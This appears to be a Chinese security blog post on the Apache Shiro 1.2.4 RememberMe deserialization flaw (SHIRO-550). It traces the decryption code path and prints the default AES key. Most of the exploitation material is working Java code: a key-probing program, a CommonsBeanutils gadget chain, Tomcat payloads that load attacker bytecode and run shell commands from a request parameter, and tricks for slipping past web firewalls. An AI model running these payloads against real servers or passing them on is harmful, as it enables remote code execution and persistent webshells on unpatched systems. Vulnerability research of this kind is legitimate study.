Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞
影响版本:Apache Shiro <= 1.2.4
漏洞分析 找到1.2.4版本下载:https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
由于漏洞点在 cookie 这里,找到 shiro 处理 cookie 的类org.apache.shiro.web.mgt.CookieRememberMeManager
看到解密的getRememberedSerializedIdentity
方法
获取cookie中的值 rememberMe,然后进行base64解码,并返回,那么看一下哪里调用了getRememberedSerializedIdentity
方法
发现在org.apache.shiro.mgt.AbstractRememberMeManager
会调用 getRememberedPrincipals 方法
对bytes进行解密后调用它的convertBytesToPrincipals
方法,跟进一下
跟进到解密方法decrypt
看到getDecryptionCipherKey()
就是我们的key,为硬编码
然后调用org.apache.shiro.crypto.JcaCipherService#decrypt
进行AES解密
后续就是一些解密相关的流程了,解密完后调用到 deserialize 方法
最后触发org.apache.shiro.io.DefaultSerializer#deserialize
进行反序列化
Tomcat类加载机制 测试发现如果使用Transformer[]数组类会报错 :
1 2 3 4 2022-03-06 20:03:51,838 WARN [org.apache.shiro.mgt.DefaultSecurityManager]: Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals(). org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array. Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections4.Transformer;: static final long serialVersionUID = 4143657982017290149L;]:
[L
是一个JVM的标记,说明实际上这是一个数组,即Transformer[]
其实这里反序列化使用的是org.apache.shiro.io.ClassResolvingObjectInputStream
,它重写了 resolveClass 方法
将原生的 Class.forName 改成了 ClassUtils.forName,跟进org.apache.shiro.util.ClassUtils#forName
可以看到实际上并没有调用原生的 Class.forName,而是改成调用了几个 CL_ACCESSOR 的loadClass
1 2 3 4 5 6 private static final ClassLoaderAccessor SYSTEM_CL_ACCESSOR = new ExceptionIgnoringAccessor () { @Override protected ClassLoader doGetClassLoader () throws Throwable { return ClassLoader.getSystemClassLoader(); } };
ClassLoader.loadClass 不支持装载数组类型的class
1 2 Class.forName("[Ljava.lang.String;" ); ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;" );
参考:shiro反序列化漏洞与tomcat类加载机制 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考
漏洞检测
当密钥不正确或类型转换异常时,Response包含Set-Cookie: rememberMe=deleteMe
字段
当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie: rememberMe=deleteMe
字段
当密钥不正确或者反序列化错误的时候,会触发到catch的 onRememberedPrincipalFailure 方法
1 2 3 4 5 removeFrom:355, SimpleCookie (org.apache.shiro.web.servlet) forgetIdentity:288, CookieRememberMeManager (org.apache.shiro.web.mgt) forgetIdentity:277, CookieRememberMeManager (org.apache.shiro.web.mgt) onRememberedPrincipalFailure:458, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedPrincipals:399, AbstractRememberMeManager (org.apache.shiro.mgt)
会调用到org.apache.shiro.web.servlet.SimpleCookie
的 removeFrom 方法,对返回包设置 rememberMe=deleteMe 字段
所以需要先让反序列化后的对象能够正常转换为 PrincipalCollection 对象,这样才能判断key值是否正确
发现org.apache.shiro.subject.SimplePrincipalCollection
的接口类 MutablePrincipalCollection 继承了 PrincipalCollection
在转换时不会抛出异常,所以创建并序列化该对象即可爆破key值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.subject.SimplePrincipalCollection;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;public class key_test { public static void main (String[] args) throws Exception{ SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection (); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (byteArrayOutputStream); out.writeObject(simplePrincipalCollection); out.close(); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); AesCipherService aes = new AesCipherService (); ByteSource ciphertext = aes.encrypt(byteArrayOutputStream.toByteArray(), key); System.out.printf(ciphertext.toString()); } }
漏洞利用 shiro 自带 commons-beanutils-1.8.3.jar
CommonsBeanutils 在CB包中提供了一个静态方法org.apache.commons.beanutils.PropertyUtils#getProperty
,让使用者可以直接调用任意JavaBean的getter方法
此时,CommonsBeanutils会自动找到 name 属性的getter方法, 然后调用,获得返回值
并且看到类org.apache.commons.beanutils.BeanComparator
的compare方法
如果初始化传入了property,就会调用PropertyUtils.getProperty(o1,property)
这段代码,当 o1 是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用该 getter
在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 Commons-Collections 的 ComparableComparator
如果此时没有 ComparableComparator,我们需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro 或 commons-beanutils 自带,且兼容性强
这里找到一个java.lang.String$CaseInsensitiveComparator
类
这个类是java.lang.String
类下的一个内部私有类,其实现了Comparator
和Serializable
我们可以通过String.CASE_INSENSITIVE_ORDER
拿到上下文中的CaseInsensitiveComparator
对象,用它来实例化 BeanComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class cb1 { public static void main (String[] args) throws Exception{ byte [] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{bytes}); setFieldValue(obj, "_name" , "" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cb1" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cb1" )); inputStream.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils) getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils) getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:426, PropertyUtils (org.apache.commons.beanutils) compare:157, BeanComparator (org.apache.commons.beanutils) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util)
然后在P神的知识星球上看到还存在一个类java.util.Collections$ReverseComparator
同样也是JRE自带的类
1 BeanComparator comparator=new BeanComparator (null , Collections.reverseOrder());
参考:Commons-Beanutils利用链分析 CommonsBeanutils与无commons-collections的Shiro反序列化利用
第一个思路是修改maxHttpHeaderSize:基于全局储存的新思路 | Tomcat的一种通用回显方法研究
改变org.apache.coyote.http11.AbstractHttp11Protocol
的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值
师傅实现的具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;@SuppressWarnings("all") public class TomcatHeaderSize extends AbstractTranslet { static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context" ); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service" ); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req" ); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize" ); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler" ,null ); contextField.setAccessible(true ); headerSizeField.setAccessible(true ); serviceField.setAccessible(true ); requestField.setAccessible(true ); getHandlerMethod.setAccessible(true ); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0 ; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0 ; j < classes.length; j++) { if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global" ); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors" ); globalField.setAccessible(true ); processorsField.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null )); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0 ; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); headerSizeField.set(tempRequest.getInputBuffer(),40000 ); } } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(40000 ); } } } } catch (Exception e) { } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
第二个思路是将 class bytes 使用 gzip+base64 压缩编码:tomcat结合shiro无文件webshell的技术研究以及检测方法
第三个思路是分离payload+动态类加载,具体实现代码参考工具:https://github.com/SummerSec/ShiroAttack2
遍历线程获取 request 和 response 对象,并加载 POST 请求中的字节码,调用该对象的 equals 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class ClassDataLoader extends AbstractTranslet { static { try { Object o; String s; boolean done = false ; Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads" ); for (int i = 0 ; i < ts.length; i++) { Thread t = ts[i]; if (t == null ) { continue ; } s = t.getName(); if (!s.contains("exec" ) && s.contains("http" )) { o = getFV(t, "target" ); if (!(o instanceof Runnable)) { continue ; } try { o = getFV(getFV(getFV(o, "this$0" ), "handler" ), "global" ); } catch (Exception e) { continue ; } java.util.List ps = (java.util.List) getFV(o, "processors" ); for (int j = 0 ; j < ps.size(); j++) { Object p = ps.get(j); o = getFV(p, "req" ); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) o).getNote(1 ); org.apache.catalina.connector.Response response = request.getResponse(); String user = request.getParameter("user" ); if (user != null && !user.isEmpty()) { byte [] bytecodes = org.apache.shiro.codec.Base64.decode(user); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass" , new Class []{byte [].class, int .class, int .class}); defineClassMethod.setAccessible(true ); Class cc = (Class) defineClassMethod.invoke(ClassDataLoader.class.getClassLoader(), new Object []{bytecodes, new Integer (0 ), new Integer (bytecodes.length)}); cc.newInstance().equals(new Object []{request,response}); done = true ; } if (done) { break ; } } } } } catch (Exception e){} } public static Object getFV (Object o, String s) throws Exception { java.lang.reflect.Field f = null ; Class clazz = o.getClass(); while (clazz != Object.class) { try { f = clazz.getDeclaredField(s); break ; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } if (f == null ) { throw new NoSuchFieldException (s); } f.setAccessible(true ); return f.get(o); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
通过Class自带的方法equals去传递 request 与 response,实现一个回显代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java.io.InputStream;import java.util.Scanner;public class TomcatCmd { public boolean equals (Object req) { Object[] context=(Object[]) req; org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0 ]; org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1 ]; String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { response.setContentType("text/html;charset=utf-8" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\a" ); String output = scanner.hasNext() ? scanner.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } catch (Exception e) { e.printStackTrace(); } } return true ; } }
内存马同理
参考:浅谈Shiro550受Tomcat Header长度限制影响突破 Shiro 550 漏洞学习 (二):内存马注入及回显 Shiro 回显与内存马实现
绕waf 其实shiro反序列化的检测本身不是很好做,因为原始payload->aes加密->base64编码
可以修改 GET 方法为 XXX 这样的未知 HTTP 请求方法,而 WAF 是通过正常的 http 方法识别 HTTP 数据包的,所以造成了一个绕过
未知Http方法名绕WAF这个姿势,可以使用在Filter和Listener层出现的漏洞,同时WAF不解析的情况 缺点的话就是无法使用 post 传参
文章:shiro反序列化绕WAF之未知HTTP请求方法
还有一种姿势就是将字节码文件写到临时目录,然后从目标本地读取文件加载字节码 文章:记一次 Shiro 的实战利用
其实在shiro处理解码base64字符串的过程中,会调用discardNonBase64
方法去除掉非Base64的字符org.apache.shiro.codec.Base64#decode
org.apache.shiro.codec.Base64#discardNonBase64
会过滤掉非Base64字符,Base64,就是包括:
1 小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"一共64个字符的字符集
这里添加一些非Base64的字符即可
参考:你的扫描器可以绕过防火墙么?(一)